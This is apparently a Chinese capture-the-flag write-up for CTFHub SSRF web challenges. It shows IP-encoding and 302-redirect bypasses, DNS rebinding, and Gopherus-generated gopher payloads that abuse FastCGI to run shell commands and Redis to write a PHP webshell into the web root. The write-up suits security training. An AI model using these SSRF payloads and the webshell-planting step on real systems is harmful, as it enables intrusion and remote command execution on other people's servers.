CTFHUB web基础——SSRF

2023-10-21 11:34:17 浏览数 (1)

数字IP bypass

数字IP是指将IP地址中的每个数字都转换为一个十进制数的形式,例如将192.168.0.1转换为十进制数 3232235521。

IP地址是用于标识网络上设备的唯一地址,它由32位二进制数表示,通常使用点分十进制表示法来呈现,其中每个点分隔符表示8位二进制数。例如,IP地址192.168.0.1表示为二进制数11000000.10101000.00000000.00000001。

为了方便记忆和使用,人们通常使用点分十进制表示法来表示IP地址。但是,在某些情况下,例如在计算机网络中进行编程时,使用数字IP表示法可能更方便,因为它可以方便地进行比较和计算。

需要注意的是,数字IP表示法并不是标准的IP地址表示法,它只是一种方便的表示方法。在实际使用中,应该使用标准的点分十进制表示法来表示IP地址。

这是通过将每个点分隔符之间的数字转换为十进制数,并将它们组合成一个32位的二进制数得出的。具体来说,将127转换为十进制数,得到127;将0转换为十进制数,得到0;将0转换为十进制数,得到0;将1转换为十进制数,得到1。然后将这四个数字组合成一个32位的二进制数,得到01111111 00000000 00000000 00000001。将这个二进制数转换为十进制数,得到2130706433。

127.0.0.1的数字IP为2130706433,127.0.0.1的十六进制表示方式为0x7f000001。

因此

代码语言:javascript复制
# 方法1  
http://challenge-ee2cb11374050efc.sandbox.ctfhub.com:10800/?url=2130706433/flag.php 
# 方法2  
http://challenge-ee2cb11374050efc.sandbox.ctfhub.com:10800/?url=0x7f000001/flag.php  
# 方法3  
http://challenge-6bfa5cafd6c67f99.sandbox.ctfhub.com:10800/?url=localhost/flag.php

302跳转 bypass

在SSRF攻击中,使用302跳转可以绕过对IP地址的检测,从而访问本地主机上的资源

写一个php脚本,访问的时候重定向到127.0.0.1/flag.php可以绕过服务端的过滤,然后将其托管到服务器上

代码语言:javascript复制
<?php  
// 设置HTTP状态码为302  
http_response_code(302);  ​ 
// 设置跳转目标URL为127.0.0.1  
$target_url = "http://127.0.0.1/flag.php";  ​ 
// 设置Location头部信息  
header("Location: $target_url");  ​ 
// 终止脚本继续执行  
exit();
?>

使用下面两种方式可以得到flag

代码语言:javascript复制
# 方法1
http://challenge-6bfa5cafd6c67f99.sandbox.ctfhub.com:10800/?url=localhost/flag.php
# 方法2,url为托管的脚本的url
http://challenge-6bfa5cafd6c67f99.sandbox.ctfhub.com:10800/?url=http://ctf.tsuk1.cn/302.php

DNS重绑定 bypass

在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的,不会受到同源策略的限制(对于DNS Rebinding来说是没有作用的。因为同源策略看的是域名,并不是背后的IP地址,虽然两次的请求IP地址不同,但是由于DNS服务器的绑定,域名都是一样的,那么自然不违反同源策略。)。 这就是DNS Rebinding攻击

到https://lock.cmpxchg8b.com/rebinder.html网站获取url,可以让一个域名随机的绑定两个IP

代码语言:javascript复制
ping 7f000001.c0a80001.rbndr.us

正在 Ping 7f000001.c0a80001.rbndr.us [192.168.0.1] 具有 32 字节的数据:

ping 7f000001.c0a80001.rbndr.us

正在 Ping 7f000001.c0a80001.rbndr.us [127.0.0.1] 具有 32 字节的数据:
代码语言:javascript复制
http://challenge-41efc0587c7ead71.sandbox.ctfhub.com:10800/?url=7f000001.c0a80001.rbndr.us/flag.php

FastCGI协议

FastCGI协议是一种用于Web服务器和应用程序之间通信的协议,它是为了解决传统CGI处理效率低下的问题而出现的。与传统的CGI方式相比,FastCGI协议具有更高的性能和更好的可扩展性,因此在现代Web应用程序中被广泛使用。

在FastCGI架构中,应用程序通过一个FastCGI进程管理器来与Web服务器进行通信。进程管理器会启动多个FastCGI进程,这些进程可以同时处理多个请求,从而提高Web应用程序的性能。当Web服务器需要处理一个请求时,它会向FastCGI进程管理器发送一个请求,进程管理器会将请求分配给一个空闲的FastCGI进程进行处理,并将处理结果返回给Web服务器。

Gopherus 是用来专门生成 gopher 协议的 payload 工具,通过 gopher 协议的特点和各种被攻击应用的 tcp 包特点来构造 payload。下载地址https://github.com/tarunkant/Gopherus

其支持生成SSRF的payload的应用有:

  • MySQL (Port:3306)
  • FastCGI (Port:9000)
  • Memcached (Port:11211)
  • Redis (Port:6379)
  • Zabbix (Port:10050)
  • SMTP (Port:25)

使用下面的命令构造payload

代码语言:javascript复制
python2 gopherus.py --exploit fastcgi

输入存在的文件/var/www/html/index.php,输入shell命令为ls,生成payload

代码语言:javascript复制
gopher://127.0.0.1:9000/_SERVER_SOFTWAREgo / fcgiclient 	REMOTE_ADDR127.0.0.1SERVER_PROTOCOLHTTP/1.1CONTENT_LENGTH54REQUEST_METHODPOST	KPHP_VALUEallow_url_include = On
disable_functions = 
auto_prepend_file = php://inputSCRIPT_FILENAME/var/www/html/index.php
DOCUMENT_ROOT/6

然后将payload进行二次url编码,然后get传入url,发现目录下没有可疑文件,只有一个index.php

把shell命令换成ls /查看上一级,发现了flag_35fe7de61adf99fa9f63e5831885430a文件

代码语言:javascript复制
gopher://127.0.0.1:9000/_SERVER_SOFTWAREgo / fcgiclient 	REMOTE_ADDR127.0.0.1SERVER_PROTOCOLHTTP/1.1CONTENT_LENGTH56REQUEST_METHODPOST	KPHP_VALUEallow_url_include = On
disable_functions = 
auto_prepend_file = php://inputSCRIPT_FILENAME/var/www/html/index.php
DOCUMENT_ROOT/8

直接cat /flag_35fe7de61adf99fa9f63e5831885430a即可,然后url编码,get传入拿到flag

代码语言:javascript复制
gopher://127.0.0.1:9000/_SERVER_SOFTWAREgo / fcgiclient 	REMOTE_ADDR127.0.0.1SERVER_PROTOCOLHTTP/1.1CONTENT_LENGTH94REQUEST_METHODPOST	KPHP_VALUEallow_url_include = On
disable_functions = 
auto_prepend_file = php://inputSCRIPT_FILENAME/var/www/html/index.php
DOCUMENT_ROOT/^

Redis协议

Redis协议是一种基于TCP的文本协议,用于Redis数据库与客户端之间的通信。Redis协议是一个简单、高效的协议,它采用文本格式来传输数据,易于理解和调试。

同样使用Gopherus 工具利用gopher协议来攻击redis协议。使用下面命令生成payload

代码语言:javascript复制
python2 gopherus.py --exploit redis

然后选择PHPShell,剩下两个都使用默认选项,得到payload,然后将该payload进行二次url编码

代码语言:javascript复制
gopher://127.0.0.1:6379/_*1
$8
flushall
*3
$3
set
$1
1
$34





*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save

把编码后的作为get参数传入url,在服务端即可生成一个webshell。如shell.php?cmd=ls可以执行系统命令

然后ls /查看上一级目录,可以发现flag文件flag_f56e9eb056c03301d3efcf5bdfa7a587,直接cat /flag_f56e9eb056c03301d3efcf5bdfa7a587即可得到flag

0 人点赞